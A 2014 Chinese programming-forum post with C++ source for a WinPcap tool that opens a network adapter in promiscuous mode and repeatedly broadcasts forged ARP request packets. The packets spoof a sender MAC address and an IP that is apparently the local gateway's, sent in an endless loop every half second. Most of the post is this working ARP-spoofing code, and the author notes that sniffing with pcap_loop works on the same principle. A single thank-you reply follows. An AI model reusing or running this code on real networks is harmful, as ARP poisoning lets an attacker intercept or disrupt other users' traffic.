鱼C论坛

 找回密码
 立即注册
查看: 2236|回复: 1

[技术交流] WinPcap实现网络嗅探和ARP欺骗

[复制链接]
发表于 2014-3-29 00:37:16 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
程序运行需要用到winpcap的驱动.
www.winpcap.org

.cpp文件
#include <iostream>
#include <iomanip>
#include<windows.h>
#include "deal.h"
using namespace std;

void show_ip(ip_address);
void show_mac(unsigned char* mac);
int cmp_ip(ip_address ip1,ip_address ip2);
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr);
int same_times=1;
ip_address old_ip;
int ip_store[255];
void show()
{

    WSADATA wsaData;
    int iResult;
        iResult=WSAStartup(MAKEWORD(2,0),&wsaData);
        if(iResult)
    {
       cout<<"WSAStartup fail."<<endl;
    }
    else
    {
        cout<<"WSAStartup finish."<<endl<<endl;
    }
     pcap_if_t *alldevs;
    pcap_if_t *d;
    char errbuf[PCAP_ERRBUF_SIZE+1];
    //char source[PCAP_ERRBUF_SIZE+1];

    int i=0;
    int inum;
    pcap_t *adhandle;
    if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1){

        cout<<"error in pcap findalldevs ex: "<< errbuf<<endl;
    }
    for(d = alldevs; d != NULL; d = d->next)
    {
        cout<<"deviec "<<++i<<": "<<endl;
        ifprint(d);
    }
      if(i == 0)
    {
        cout<<"\nNo interfaces found! Make sure Winpcap is installed.\n";
    }

    cout<<"please enter the interface number: "<<endl;
    cin>>inum;
    cout<<"you choose: "<<inum<<endl;

    if(inum < 1 || inum > i)
    {
        printf("\nInterface number out of range.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }
    for(d=alldevs, i=0; i< inum-1 ; d=d->next, i++);
    {
        if ( (adhandle= pcap_open(d->name,          // 设备名
                              100,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
                              PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
                              1000,             // 读取超时时间
                              NULL,             // 远程机器验证
                              errbuf            // 错误缓冲池
                             ) ) == NULL)
        {
            fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
            /* 释放设备列表 */
            pcap_freealldevs(alldevs);
            return;
        }
        //获取子网掩码

        //获取本地IP
    }
    tagARPPacket arppacket;
    memset(&arppacket, 0, sizeof(arppacket));


    //formatStrToMAC("00-0c-29-8b-96-e0",arppacket.dlcHeader.DesMac);
    formatStrToMAC("ff-ff-ff-ff-ff-ff",arppacket.DesMac);
    formatStrToMAC("00-97-02-03-03-71",arppacket.SrcMac);

    formatStrToMAC("ff-ff-ff-ff-ff-ff",arppacket.Targ_HW_Addr);
    formatStrToMAC("00-97-02-03-03-71",arppacket.Send_HW_Addr);

    arppacket.Send_Prot_Addr=inet_addr("10.*.*.1");
    arppacket.Targ_Prot_Addr=inet_addr("10.*.*.128");


    arppacket.Opcode=htons((unsigned short)1);

    arppacket.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型
     arppacket.HW_Type = htons((unsigned short)0x0001);           // 硬件类型
     arppacket.Prot_Type = htons((unsigned short)0x0800);    // 上层协议类型
     arppacket.HW_Addr_Len = (unsigned char)6;                 // MAC地址长度
     arppacket.Prot_Addr_Len = (unsigned char)4;               // IP地址长度

     unsigned char *cc;
     cc=(unsigned char *)&arppacket;
     cout<<sizeof(arppacket)<<endl;
     /*for(int i=0;i<sizeof(arppacket);i++)
     {
         //cout<<cc[i];
         cout<<setw(2)<<setfill('0')<<hex<<(unsigned int)cc[i]<<"-";
     }
     cout<<endl<<sizeof(arppacket)<<endl;*/

    while(1)
    {
        if (pcap_sendpacket(adhandle,(UCHAR*) &arppacket, 64) != 0)
        {
            //fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));
            cout<<"error"<<endl;
            return;
        }else
        {
            cout<<"finish.\t"<<same_times++<<endl;
        }
        Sleep(500);


    }



}

int cmp_ip(ip_address ip1,ip_address ip2)
{
    if(!((u_int)ip1.byte1^(u_int)ip2.byte1))
    {
        if(!((u_int)ip1.byte2^(u_int)ip2.byte2))
            if(!((u_int)ip1.byte3^(u_int)ip2.byte3))
                if(!((u_int)ip1.byte4^(u_int)ip2.byte4))
                    return 0;
    }
    return 1;

}
void show_ip(ip_address ip_add)
{
    cout<<(u_int)ip_add.byte1<<"."<<(u_int)ip_add.byte2<<"."<<(u_int)ip_add.byte3<<"."<<(u_int)ip_add.byte4;
}
void show_mac(unsigned char* mac)
{
    ios::fmtflags old(cout.flags());

    for(int i=0;i<5;i++)
    {
        cout<<setw(2)<<setfill('0')<<hex<<(unsigned int)mac[i]<<"-";
    }
    cout<<hex<<(unsigned int)mac[5];

    cout.flags(old);
}
void ifprint(pcap_if_t *d)
{
    pcap_addr_t *a;
  char ip6str[128];

  /* 设备名(Name) */

    cout<<d->name<<endl;
  /* 设备描述(Description) */
  if (d->description)

    cout<<"\tDescription: "<<d->description<<endl;
  /* Loopback Address*/
  printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

  /* IP addresses */
  for(a=d->addresses;a;a=a->next) {
    printf("\tAddress Family: #%d\n",a->addr->sa_family);

    switch(a->addr->sa_family)
    {
      case AF_INET:
        printf("\tAddress Family Name: AF_INET\n");
        if (a->addr)
          printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
        if (a->netmask)
          printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
        if (a->broadaddr)
          printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
        if (a->dstaddr)
          printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
        break;

      case AF_INET6:
        printf("\tAddress Family Name: AF_INET6\n");
        if (a->addr)
          printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
       break;

      default:
        printf("\tAddress Family Name: Unknown\n");
        break;
    }
  }
  printf("\n");
}

#define IPTOSBUFFERS    12
char *iptos(u_long in)
{
    static char output[IPTOSBUFFERS][3*4+3+1];
    static short which;
    u_char *p;

    p = (u_char *)∈
    which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
    sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
    return output[which];
}

char* ip6tos(struct sockaddr *sockaddr, char *address, int addrlen)
{
    socklen_t sockaddrlen;

    #ifdef WIN32
    sockaddrlen = sizeof(struct sockaddr_in6);
    #else
    sockaddrlen = sizeof(struct sockaddr_storage);
    #endif


    if(getnameinfo(sockaddr,
        sockaddrlen,
        address,
        addrlen,
        NULL,
        0,
        NI_NUMERICHOST) != 0) address = NULL;

    return address;
}
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)
{
       unsigned int i, index = 0, value, temp;
      unsigned char c;

      _strlwr(lpHWAddrStr);                                                   // 转换成小写

      for (i = 0; i < strlen(lpHWAddrStr); i++)
     {
           c = *(lpHWAddrStr + i);
            if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))
           {
               if (c>='0' && c<='9')  temp = c - '0';                         // 数字
               if (c>='a' && c<='f')  temp = c - 'a' + 0xa;               // 字母
               if ( (index % 2) == 1 )
              {
                   value = value*0x10 + temp;
                   HWAddr[index/2] = value;
              }
              else value = temp;
              index++;
         }
               if (index == 12) break;
        }
}
头文件:
#ifndef DEAL_H_INCLUDED
#define DEAL_H_INCLUDED

#define WINVER 0x0501
#include <ws2tcpip.h>
#include <WinSock2.h>
#define HAVE_REMOTE
#include "pcap.h"

void ifprint(pcap_if_t *d);
char *iptos(u_long in);
char* ip6tos(struct sockaddr *sockaddr, char *address, int addrlen);
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
void show();

struct ip_address
{
    u_char byte1;
    u_char byte2;
    u_char byte3;
    u_char byte4;
};
#pragma pack(push)
#pragma pack(1)
struct ip_header{
    u_char  ver_ihl;        // 版本 (4 bits) + 首部长度 (4 bits)
    u_char  tos;            // 服务类型(Type of service)
    u_short tlen;           // 总长(Total length)
    u_short identification; // 标识(Identification)
    u_short flags_fo;       // 标志位(Flags) (3 bits) + 段偏移量(Fragment offset) (13 bits)
    u_char  ttl;            // 存活时间(Time to live)
    u_char  proto;          // 协议(Protocol)
    u_short crc;            // 首部校验和(Header checksum)
    ip_address  saddr;      // 源地址(Source address)
    ip_address  daddr;      // 目的地址(Destination address)
    u_int   op_pad;         // 选项与填充(Option + Padding)
};
struct tagDLCHeader{

    unsigned char DesMac[6];
    unsigned char SrcMac[6];
    unsigned short Ethertype;
};
struct tagARPFrame{
    unsigned short         HW_Type;           /* hardware address */
    unsigned short         Prot_Type;             /* protocol address */
    unsigned char      HW_Addr_Len;       /* length of hardware address */
    unsigned char      Prot_Addr_Len;         /* length of protocol address */
    unsigned short         Opcode;                /* ARP/RARP */

    unsigned char      Send_HW_Addr[6];     /* sender hardware address */
    unsigned long      Send_Prot_Addr;      /* sender protocol address */
    unsigned char      Targ_HW_Addr[6];     /* target hardware address */
    unsigned long      Targ_Prot_Addr;      /* target protocol address */
    unsigned char      padding[18];
};

struct tagARPPacket{
    unsigned char DesMac[6];
    unsigned char SrcMac[6];
    unsigned short Ethertype;
    unsigned short         HW_Type;           /* hardware address */
    unsigned short         Prot_Type;             /* protocol address */
    unsigned char      HW_Addr_Len;       /* length of hardware address */
    unsigned char      Prot_Addr_Len;         /* length of protocol address */
    unsigned short         Opcode;                /* ARP/RARP */
    unsigned char      Send_HW_Addr[6];     /* sender hardware address */
    unsigned long      Send_Prot_Addr;      /* sender protocol address */
    unsigned char      Targ_HW_Addr[6];     /* target hardware address */
    unsigned long      Targ_Prot_Addr;      /* target protocol address */
    unsigned char      padding[18];
};
#pragma pack(pop)
#endif // DEAL_H_INCLUDED
在main函数里运行show() 即可实现ARP包的发送, ARP技术属于黑科技......在此以和谐为主

用pcap_loop相关函数 可实现网卡嗅探...原理同上..


晚安.


想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2014-7-21 22:12:29 | 显示全部楼层
支持了谢谢分享哈,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-11-24 15:35

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表